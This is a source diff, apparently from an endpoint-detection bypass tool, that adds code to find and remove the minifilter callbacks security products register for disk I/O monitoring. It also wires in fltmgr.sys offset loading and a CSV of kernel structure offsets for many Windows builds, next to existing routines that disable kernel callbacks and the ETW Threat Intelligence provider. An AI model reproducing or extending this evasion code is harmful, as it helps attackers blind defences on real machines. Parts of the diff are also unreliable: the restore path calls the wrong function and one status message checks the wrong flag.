_tprintf_or_not(TEXT("[+] [ETWTI]\tETW Threat Intelligence Provider is %s!\n"), ETWTIState ? TEXT("ENABLED") : TEXT("DISABLED"));
|
||||
@@ -827,7 +862,13 @@ Dump options:\n\
|
||||
DisableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers);
|
||||
_putts_or_not(TEXT(""));
|
||||
}
|
||||
|
||||
#if WriteMemoryPrimitiveIsAtomic
|
||||
if (foundMinifilterCallbacks) {
|
||||
_putts_or_not(TEXT("[+] Removing minifilter callbacks registered by EDR for monitoring I/O operations..."));
|
||||
RemoveEDRMinifilterCallbacks(foundEDRDrivers);
|
||||
_putts_or_not(TEXT(""));
|
||||
}
|
||||
#endif
|
||||
/*
|
||||
* 2/3 : Starting "resursively" our process.
|
||||
*/
|
||||
@@ -866,7 +907,13 @@ Dump options:\n\
|
||||
EnableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers);
|
||||
_putts_or_not(TEXT(""));
|
||||
}
|
||||
|
||||
#if WriteMemoryPrimitiveIsAtomic
|
||||
if (restoreCallbacks == TRUE && foundMinifilterCallbacks) {
|
||||
_putts_or_not(TEXT("[+] Restoring EDR's minifilter callbacks..."));
|
||||
RestoreEDRMinifilterCallbacks(foundEDRDrivers);
|
||||
_putts_or_not(TEXT(""));
|
||||
}
|
||||
#endif
|
||||
// Renable the ETW Threat Intel provider.
|
||||
// TODO : make this conditionnal, just as kernel callbacks restoring ?
|
||||
if (ETWTIState) {
|
||||
|
||||
@@ -6,8 +6,10 @@
|
||||
#include "ETWThreatIntel.h"
|
||||
#include "FileUtils.h"
|
||||
#include "Firewalling.h"
|
||||
#include "FltmgrOffsets.h"
|
||||
#include "KernelCallbacks.h"
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
#include "MinifilterCallbacks.h"
|
||||
#include "PrintFunctions.h"
|
||||
#include "ProcessDump.h"
|
||||
#include "ProcessDumpDirectSyscalls.h"
|
||||
@@ -221,7 +223,6 @@ EDRSB_STATUS _LoadWdigestOffsets(EDRSB_CONTEXT* ctx) {
|
||||
EDRSB_STATUS EDRSB_Init(_Out_ EDRSB_CONTEXT* ctx, _In_ EDRSB_CONFIG* config) {
|
||||
EDRSB_STATUS status;
|
||||
BOOL driverInstallRequired = FALSE;
|
||||
BOOL kernelOffsetsLoaded = FALSE;
|
||||
ctx->config = config;
|
||||
|
||||
if (config->actions.ProtectProcess) {
|
||||
@@ -232,11 +233,13 @@ EDRSB_STATUS EDRSB_Init(_Out_ EDRSB_CONTEXT* ctx, _In_ EDRSB_CONFIG* config) {
|
||||
if (config->bypassMode.Krnlmode) {
|
||||
status = _LoadNtosKrnlOffsets(ctx);
|
||||
if (status != EDRSB_SUCCESS) {
|
||||
_tprintf_or_not(TEXT("[-] Init failed: required offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status);
|
||||
_tprintf_or_not(TEXT("[-] Init failed: required ntoskrnl.exe offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status);
|
||||
return status;
|
||||
}
|
||||
else {
|
||||
kernelOffsetsLoaded = TRUE;
|
||||
BOOL success = LoadFltmgrOffsets(ctx->config->fltmgrOffsetFilePath, ctx->config->offsetRetrievalMethod.Internet);
|
||||
if (!success) {
|
||||
_tprintf_or_not(TEXT("[-] Init failed: required fltmgr.sys offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status);
|
||||
return status;
|
||||
}
|
||||
|
||||
driverInstallRequired = TRUE;
|
||||
@@ -289,6 +292,7 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
|
||||
BOOL isSafeToExecutePayload = TRUE;
|
||||
BOOL foundNotifyRoutineCallbacks;
|
||||
BOOL foundObjectsCallbacks;
|
||||
BOOL foundMinifilterCallbacks;
|
||||
BOOL isETWTICurrentlyEnabled;
|
||||
|
||||
BOOL verbose = ctx ? ctx->config->verbose : FALSE;
|
||||
@@ -311,7 +315,7 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
|
||||
ctx->foundNotifyRoutineCallbacks = TRUE;
|
||||
}
|
||||
if (ctx) {
|
||||
_tprintf_or_not(TEXT("[+] Object callbacks have %sbeen found"), ctx->foundNotifyRoutineCallbacks ? TEXT("") : TEXT("NOT"));
|
||||
_tprintf_or_not(TEXT("[+] Kernel notify routines have %sbeen found"), ctx->foundNotifyRoutineCallbacks ? TEXT("") : TEXT("not "));
|
||||
_putts_or_not(TEXT("[+] Check if EDR callbacks are registered on processes and threads handle creation/duplication"));
|
||||
}
|
||||
|
||||
@@ -321,6 +325,15 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
|
||||
}
|
||||
if (ctx) {
|
||||
_tprintf_or_not(TEXT("[+] Enabled EDR object callbacks are %s !\n"), ctx->foundObjectCallbacks ? TEXT("present") : TEXT("not found"));
|
||||
_putts_or_not(TEXT("[+] Check if EDR minifilter callbacks are registered for monitoring disk operations"));
|
||||
}
|
||||
|
||||
foundMinifilterCallbacks = EnumEDRMinifilterCallbacks(foundEDRDrivers, verbose);
|
||||
if (ctx && foundMinifilterCallbacks) {
|
||||
ctx->foundMinifilterCallbacks = TRUE;
|
||||
}
|
||||
if (ctx) {
|
||||
_tprintf_or_not(TEXT("[+] EDR minifilter callbacks are %s !\n"), ctx->foundObjectCallbacks ? TEXT("present") : TEXT("not found"));
|
||||
}
|
||||
|
||||
if (ctx) {
|
||||
@@ -343,7 +356,7 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
|
||||
ctx->krnlmodeMonitoringEnumDone = TRUE;
|
||||
}
|
||||
|
||||
if (foundNotifyRoutineCallbacks || foundObjectsCallbacks || isETWTICurrentlyEnabled) {
|
||||
if (foundNotifyRoutineCallbacks || foundObjectsCallbacks || foundMinifilterCallbacks || isETWTICurrentlyEnabled) {
|
||||
status = EDRSB_KNRL_MONITORING;
|
||||
}
|
||||
else {
|
||||
@@ -380,6 +393,11 @@ EDRSB_STATUS Krnlmode_RemoveAllMonitoring(_In_ EDRSB_CONTEXT* ctx) {
|
||||
DisableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers);
|
||||
}
|
||||
|
||||
if (ctx->foundMinifilterCallbacks) {
|
||||
_putts_or_not(TEXT("[+] Disabling minifilter callbacks registered by EDR to monitor I/O operations..."));
|
||||
RemoveEDRMinifilterCallbacks(ctx->foundEDRDrivers);
|
||||
}
|
||||
|
||||
if (ctx->isETWTICurrentlyEnabled) {
|
||||
DisableETWThreatIntelProvider(ctx->config->verbose);
|
||||
ctx->isETWTICurrentlyEnabled = FALSE;
|
||||
@@ -405,6 +423,11 @@ EDRSB_STATUS Krnlmode_RestoreAllMonitoring(_In_ EDRSB_CONTEXT* ctx) {
|
||||
EnableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers);
|
||||
}
|
||||
|
||||
if (!ctx->config->actions.DontRestoreCallBacks && ctx->foundMinifilterCallbacks) {
|
||||
_putts_or_not(TEXT("[+] Restoring EDR's minifilter callbacks..."));
|
||||
EnableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers);
|
||||
}
|
||||
|
||||
// Renable the ETW Threat Intel provider.
|
||||
if (!ctx->config->actions.DontRestoreETWTI && ctx->isETWTISystemEnabled) {
|
||||
EnableETWThreatIntelProvider(ctx->config->verbose);
|
||||
|
||||
@@ -17,6 +17,7 @@ typedef struct EDRSB_CONTEXT_t {
|
||||
BOOL krnlmodeMonitoringEnumDone;
|
||||
BOOL foundNotifyRoutineCallbacks;
|
||||
BOOL foundObjectCallbacks;
|
||||
BOOL foundMinifilterCallbacks;
|
||||
struct FOUND_EDR_CALLBACKS* foundEDRDrivers;
|
||||
BOOL isETWTISystemEnabled;
|
||||
BOOL isETWTICurrentlyEnabled;
|
||||
@@ -112,6 +113,12 @@ typedef struct EDRSB_CONFIG_t {
|
||||
*/
|
||||
LPWSTR kernelOffsetFilePath; //TODO : unifier les offsets dans un seul fichier (un json ?) pour �viter de demander � l'utilisateur de passer plusieurs fichiers
|
||||
|
||||
/*
|
||||
* Path of the CSV file that contains the needed offsets for minifilter enum and bypass
|
||||
* If NULL, tries to load FltmgrOffsets.csv
|
||||
* If empty string, disable FltmgrOffsets.csv loading (relies on symbol download every time)
|
||||
*/
|
||||
LPWSTR fltmgrOffsetFilePath;
|
||||
/*
|
||||
* Path of the CSV file that contains the needed offsets for credential guard related operations
|
||||
* If NULL, tries to load WdigestOffsets.csv
|
||||
|
||||
@@ -17,7 +17,7 @@ THREADS_LIMIT = None
|
||||
CSVLock = threading.Lock()
|
||||
|
||||
machineType = dict(x86=332, x64=34404)
|
||||
supported_images = ["ntoskrnl.exe", "wdigest.dll", "ci.dll"]
|
||||
supported_images = ["ntoskrnl.exe", "wdigest.dll", "ci.dll", "fltmgr.sys"]
|
||||
modes = [image_name.split(".")[0] for image_name in supported_images]
|
||||
extensions_by_mode = dict(image_name.split(".") for image_name in supported_images)
|
||||
known_image_versions = {mode: list() for mode in modes}
|
||||
@@ -46,6 +46,19 @@ symbols = dict(
|
||||
("g_CiOptions", "symbol"),
|
||||
("CiValidateImageHeader", "symbol"),
|
||||
],
|
||||
fltmgr=[
|
||||
("FltGlobals", "symbol"),
|
||||
("_GLOBALS", "FrameList", "field"),
|
||||
("_FLT_RESOURCE_LIST_HEAD", "rList", "field"),
|
||||
("_FLTP_FRAME", "Links", "field"),
|
||||
("_FLTP_FRAME", "RegisteredFilters", "field"),
|
||||
("_FLT_OBJECT", "PrimaryLink", "field"),
|
||||
("_FLT_FILTER", "DriverObject", "field"),
|
||||
("_FLT_FILTER", "InstanceList", "field"),
|
||||
("_DRIVER_OBJECT", "DriverInit", "field"),
|
||||
("_FLT_INSTANCE", "CallbackNodes", "field"),
|
||||
("_FLT_INSTANCE", "FilterLink", "field"),
|
||||
],
|
||||
)
|
||||
|
||||
symbols_names = {mode: [t[0] if t[-1] == "symbol" else f"{t[0]}_{t[1]}" for t in symbols[mode]] for mode in modes}
|
||||
|
||||
@@ -0,0 +1,90 @@
|
||||
fltmgrVersion,FltGlobals,_GLOBALS_FrameList,_FLT_RESOURCE_LIST_HEAD_rList,_FLTP_FRAME_Links,_FLTP_FRAME_RegisteredFilters,_FLT_OBJECT_PrimaryLink,_FLT_FILTER_DriverObject,_FLT_FILTER_InstanceList,_DRIVER_OBJECT_DriverInit,_FLT_INSTANCE_CallbackNodes,_FLT_INSTANCE_FilterLink
|
||||
fltmgr_10240-16384.sys,254c0,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_10240-18967.sys,254c0,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_10240-19983.sys,254c0,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_10586-0.sys,25500,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_14393-0.sys,25500,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_14393-2879.sys,25500,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_14393-3297.sys,25500,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_14393-3659.sys,25500,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_14393-4467.sys,25500,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_14393-4583.sys,25500,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_14393-4946.sys,25500,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_14393-5127.sys,25500,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_14393-5192.sys,25500,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_15063-0.sys,27500,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_15063-413.sys,27500,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_15063-850.sys,27500,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_15063-2161.sys,27500,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_16299-15.sys,28540,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_16299-98.sys,28540,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_16299-99.sys,28540,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_16299-192.sys,28540,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_16299-371.sys,28540,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_16299-402.sys,28540,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_16299-1480.sys,28540,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_16299-1868.sys,27540,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_16299-2401.sys,27540,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_16299-10000.sys,28540,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_17134-1.sys,29540,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_17134-228.sys,29540,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_17134-1098.sys,29540,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_17134-1365.sys,29540,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_17134-1456.sys,29540,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_17763-1.sys,2a540,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_17763-379.sys,2a540,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_17763-592.sys,2a540,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_17763-831.sys,2a540,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_17763-1999.sys,2a540,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_17763-2028.sys,2a540,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_17763-2061.sys,2a540,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_17763-2090.sys,2a540,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_17763-2510.sys,2a540,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_17763-4492.sys,2a540,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_17763-4644.sys,2a540,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_17763-4720.sys,2a540,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_17763-5122.sys,2a540,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_17763-10576.sys,2a540,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_18362-1.sys,2a580,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_18362-267.sys,2a580,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_18362-1110.sys,2a580,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_18362-1216.sys,2a580,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_18362-1645.sys,2a580,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_18362-1714.sys,2a580,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_18362-2337.sys,2a580,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_19041-264.sys,2b600,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_19041-1151.sys,2b600,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_19041-1165.sys,2b600,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_19041-1503.sys,2a600,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_19041-1526.sys,2a600,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_19041-1682.sys,2b600,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_19041-1767.sys,2b600,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_19041-1806.sys,29600,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_19041-2728.sys,29600,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_19041-2788.sys,29600,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_19041-3086.sys,29600,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_19041-3205.sys,29600,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_19041-3570.sys,29600,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_19041-3636.sys,29600,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_19041-3684.sys,29600,58,68,8,48,10,60,68,58,a0,70
|
||||
fltmgr_21390-1.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
|
||||
fltmgr_22000-1.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
|
||||
fltmgr_22000-469.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
|
||||
fltmgr_22000-527.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
|
||||
fltmgr_22000-778.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
|
||||
fltmgr_22000-1098.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
|
||||
fltmgr_22000-1165.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
|
||||
fltmgr_22000-1219.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
|
||||
fltmgr_22000-1281.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
|
||||
fltmgr_22000-1696.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
|
||||
fltmgr_22000-1761.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
|
||||
fltmgr_22000-2124.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
|
||||
fltmgr_22000-2592.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
|
||||
fltmgr_22000-2600.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
|
||||
fltmgr_22621-4.sys,2c700,58,68,8,48,10,60,68,58,a8,70
|
||||
fltmgr_22621-608.sys,2c700,58,68,8,48,10,60,68,58,a8,70
|
||||
fltmgr_22621-1690.sys,2c700,58,68,8,48,10,60,68,58,a8,70
|
||||
fltmgr_22621-2361.sys,2e700,58,68,8,48,10,60,68,58,a8,70
|
||||
fltmgr_22621-2415.sys,2e700,58,68,8,48,10,60,68,58,a8,70
|
||||
fltmgr_22621-2506.sys,2e700,58,68,8,48,10,60,68,58,a8,70
|
||||
fltmgr_22621-2771.sys,2e700,58,68,8,48,10,60,68,58,a8,70
|
||||
|
Reference in New Issue
Block a user